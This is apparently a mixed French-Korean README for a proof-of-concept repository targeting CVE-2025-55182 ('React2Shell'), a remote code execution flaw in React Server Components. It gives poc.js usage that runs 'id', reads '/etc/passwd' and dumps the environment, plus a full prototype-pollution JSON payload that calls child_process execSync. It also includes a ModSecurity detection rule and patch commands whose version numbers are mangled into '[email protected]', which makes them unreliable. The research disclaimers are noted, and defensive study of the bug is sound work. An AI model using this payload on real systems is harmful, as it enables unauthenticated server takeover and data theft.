
Avertissement : Ce projet doit être utilisé uniquement à des fins de recherche en sécurité et d'éducation. Utiliser ce projet sur des systèmes tiers sans autorisation est illégal.
| Élément | Détails |
|---|---|
| ID CVE | CVE-2025-55182 |
| Alias | React2Shell |
| Score CVSS | 10.0 (Critique - sévérité maximale) |
| Type de vulnérabilité | Exécution de code à distance non authentifiée (RCE) |
| Découvreur | Lachlan Davidson |
| Date de divulgation | 3 décembre 2025 |
react-server-dom-webpack : 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel : 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack : 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # 이 파일
├── vulnerable-server/ # 취약한 Next.js 서버
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # 공격 PoC
│ ├── package.json
│ ├── poc.js # RCE 공격 스크립트
│ └── check-vulnerability.js # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/ # 원본 PoC 참조
# 의존성 설치
cd vulnerable-server
npm install
# 개발 모드로 서버 실행 (포트 3000)
npm run dev
Le serveur sera disponible sur http://localhost:3000.
Dans un nouveau terminal :
# 의존성 설치
cd exploit
npm install
# 취약점 체크
npm run check
# PoC 실행 (테스트 모드)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"
# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
Cela se produit lors de la désérialisation des données envoyées par le client dans le protocole Flight des React Server Components.
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE
$@x - Obtention d'une référence à l'objet Chunk.thenstatus: resolved_model_response, _formData, etc.$1:constructor:constructornew Function(악성코드){
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# 15.0.x 사용자
npm install [email protected]
# 15.1.x 사용자
npm install [email protected]
# 15.2.x 사용자
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POSTNext-Actionmultipart/form-data$@, resolved_model, constructor dans le corps# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
Ce projet est fourni uniquement à des fins éducatives et de recherche. Toute utilisation à des fins malveillantes est interdite.
Attention : Si vous découvrez cette vulnérabilité dans un environnement réel, appliquez le correctif immédiatement. En cas d'attaque confirmée, signalez-la à l'équipe de sécurité et menez une enquête sur l'incident.